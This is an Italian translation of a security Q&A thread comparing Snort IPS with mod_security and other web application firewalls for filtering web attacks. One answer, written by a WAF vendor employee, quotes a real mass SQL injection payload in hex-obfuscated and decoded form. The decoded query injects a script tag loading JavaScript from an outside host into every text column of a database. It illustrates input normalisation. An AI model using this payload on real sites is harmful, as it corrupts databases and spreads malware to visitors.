Utilizzo di un IPS come alternativa a mod_security

2

Sto pensando di implementare mod_security come aggiunta alla nostra infrastruttura web. Sono preoccupato per l'aumento del carico, tuttavia, poiché questi server ottengono molti colpi. Sto prendendo in considerazione l'utilizzo di IPS come Snort in linea tra server Web e load balancer.

La sottoscrizione aziendale di Snort contiene una vasta gamma di regole per filtrare gli attacchi Web come SQL injection, path injection, command injection, XSS,% 00, attacchi comuni contro CMS, ecc. Esistono diverse regole complete mod_sec. Webappsec è un buon uso per Snort o è più per exploit tradizionali?

TLDR: voglio scaricare la funzionalità di mod_security su un sistema esterno o un'applicazione firewall per applicazioni web. Se Snort non è la risposta, che cos'è?

    
posta user974896 16.10.2012 - 21:03
fonte

3 risposte

8

I firewall di applicazioni Web come mod_security hanno il potenziale per essere più efficaci degli IDS basati sulla rete come Snort, perché un firewall web può vedere la richiesta esattamente come verrà gestita dal server web e un IDS basato sulla rete non può.

I sistemi basati sulla rete, come Snort, possono vedere solo i pacchetti di rete. Devono dedurre / indovinare in che modo il server web li interpreterà. Questo introduce ulteriori possibilità per gli attacchi di evasione (modi per nascondere un attacco). Non sto dicendo che mod_security sia perfetto o immune agli attacchi di evasione, solo che gli attacchi di evasione rappresentano una sfida ancora più grande per le soluzioni basate sulla rete, come Snort.

Il vantaggio delle soluzioni basate su rete è che in alcuni casi possono essere più facili da implementare. Se si dispone di un gruppo di server Web, è possibile attaccare un IDS basato su rete su un punto di strozzamento nella rete e proteggere tutti i server Web che si trovano dietro di essi, senza dover installare e configurare mod_security su ciascuno di essi.

Detto questo, nessuno di questi approcci fornisce una strong sicurezza. Sono un ripiego, un modo per mitigare i problemi di sicurezza con i sistemi legacy, ma possono essere sconfitti e hanno molte carenze. Se hai l'opzione, è molto meglio costruire sicurezza nel tuo software (ad es. Le tue applicazioni web) sin dall'inizio. Alla gente IT piace l'idea di IDS, IPS e firewall Web, perché sono più facili da implementare, ma penso che i loro benefici siano spesso ipervenduti. Cercare di mitigare il software vulnerabile dopo il fatto con un IDS, IPS o un firewall Web è fragile e soggetto a errori.

    
risposta data 16.10.2012 - 21:21
fonte
5

IPS come Snort sono più generalisti per la protezione di protocolli Internet comunemente usati come HTTP, DNS, FTP, SMTP, ecc.

I WAF dovrebbero essere specialisti per proteggere HTTP.

Solo per prendere attacchi di iniezione come SQLi, XSS come punto di partenza:

Puoi prendere alcune o tutte le firme di mod_security e provare a scrivere equivalenti per snort. Tuttavia, i prodotti IPS non hanno lo stesso livello di normalizzazione di [attacchi offuscati] [1], quindi sono facili da eludere. WAF come Barracuda, normalizzano gli input basati sul web prima che applichino le loro firme, questo previene il bypass usando hex / URL / UTF-8 / codifica Unicode, commenti SQL ecc.

Per esempio , a volte questa iniezione SQL di massa stava facendo il giro del Internet targeting MS SQL:

DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C41
    ....[more hex code]
    26C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--

I WAF dovrebbero prima normalizzare il contenuto che diventa:

DECLARE @T VARCHAR(255),@C VARCHAR(255)

        DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM 
        sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' 
        AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

        OPEN Table_Cursor

        FETCH NEXT FROM Table_Cursor INTO @T,@C

        WHILE(@@FETCH_STATUS=0)
            BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=
            RTRIM(CONVERT(VARCHAR(4000),['+@C+']))
            +''<script src=http://www.adwbnr.com/b.js>
            </script>''')
            FETCH NEXT FROM Table_Cursor INTO @T,@C
        END

        CLOSE Table_Cursor

        DEALLOCATE Table_Cursor

Quindi applicare i controlli SQL per bloccarli.

Gli IPS, come lo snort, normalmente non forniscono protezione "zero-day" contro tali attacchi, forniscono firme specifiche a tali attacchi come le firme di botnet specifiche di Asprox ecc. E questi non sono efficaci contro le nuove vulnerabilità zero day.

Poi ci sono nuove forme di attacchi - come il parametro HTTP Pollution che nessun IPS difenderà, poiché implica l'esame, ad esempio, del valore concatenato di più parametri di input (? a = SEL & a = ECT).

Questa è solo una nota sugli attacchi di iniezione, ci sono molti altri attacchi che richiedono una comprensione più profonda del protocollo HTTP che è assente nella maggior parte dei prodotti IPS. Guida in sessione, CSRF, avvelenamento da cookie, riproduzione di cookie, ecc. Per citarne alcuni.

Puoi anche consultare questo white paper per una panoramica di alto livello.

Dichiarazione di non responsabilità: lavoro per Barracuda Networks, un rivenditore di WAF.

    
risposta data 23.10.2012 - 08:58
fonte
1

Sì, i WAF virtuali sono quasi simili quando si tratta di appec. E come giustamente fai notare, sono agnostici rispetto ai server che stanno proteggendo, che possono essere fisici o virtuali. Tutto quello che devono sapere è l'IP / Port del server web.

Ovviamente, per il WAF virtuale, le prestazioni dipenderanno dall'hardware sottostante così come alcune cose di livello 2-3 come le VLAN avranno bisogno di una configurazione aggiuntiva sull'host. Chiedi di essere messo in contatto con il team PM di Barracuda se le tue domande non ricevono risposta.

    
risposta data 24.10.2012 - 10:53
fonte

Leggi altre domande sui tag